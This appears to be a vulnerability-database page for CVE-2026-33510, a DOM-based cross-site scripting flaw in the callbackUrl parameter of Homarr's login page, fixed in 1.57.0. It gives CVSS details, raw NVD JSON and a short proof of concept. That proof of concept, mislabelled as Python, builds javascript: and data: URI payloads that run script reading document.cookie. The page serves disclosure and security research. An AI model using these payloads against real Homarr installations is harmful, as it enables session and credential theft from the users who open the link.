Security Vulnerability Report
中文
CVE-2026-33510 CVSS 8.8 HIGH

CVE-2026-33510

Published: 2026-04-06 15:17:11
Last Modified: 2026-04-09 18:40:47

Description

Homarr is an open-source dashboard. Prior to 1.57.0, a DOM-based Cross-Site Scripting (XSS) vulnerability has been discovered in Homarr's /auth/login page. The application improperly trusts a URL parameter (callbackUrl), which is passed to redirect and router.push. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. This vulnerability is fixed in 1.57.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:* - VULNERABLE
Homarr < 1.57.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-33510 // Target: Homarr < 1.57.0 // Description: Injecting JavaScript via the callbackUrl parameter // Step 1: Craft the malicious URL // The application takes the 'callbackUrl' and passes it to router.push() // Using the 'javascript:' protocol allows arbitrary code execution. const maliciousUrl = "https://target-homarr-domain/auth/login?callbackUrl=javascript:alert(document.cookie)"; // Alternatively, testing for data URI execution: // const maliciousUrl = "https://target-homarr-domain/auth/login?callbackUrl=data:text/html,<script>alert('XSS')</script>"; console.log("Visit this URL to trigger the vulnerability:", maliciousUrl); // Expected Result: // When an authenticated user clicks the link, the browser executes alert(document.cookie) // demonstrating the ability to execute arbitrary JS in the context of the application.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33510", "sourceIdentifier": "[email protected]", "published": "2026-04-06T15:17:10.790", "lastModified": "2026-04-09T18:40:47.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Homarr is an open-source dashboard. Prior to 1.57.0, a DOM-based Cross-Site Scripting (XSS) vulnerability has been discovered in Homarr's /auth/login page. The application improperly trusts a URL parameter (callbackUrl), which is passed to redirect and router.push. An attacker can craft a malicious link that, when opened by an authenticated user, performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. This vulnerability is fixed in 1.57.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-87"}, {"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:homarr:homarr:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.57.0", "matchCriteriaId": "734B6AEF-40FE-4B67-A3B1-66BCB31D30C9"}]}]}], "references": [{"url": "https://github.com/homarr-labs/homarr/security/advisories/GHSA-79pg-554g-rw82", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/homarr-labs/homarr/security/advisories/GHSA-79pg-554g-rw82", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}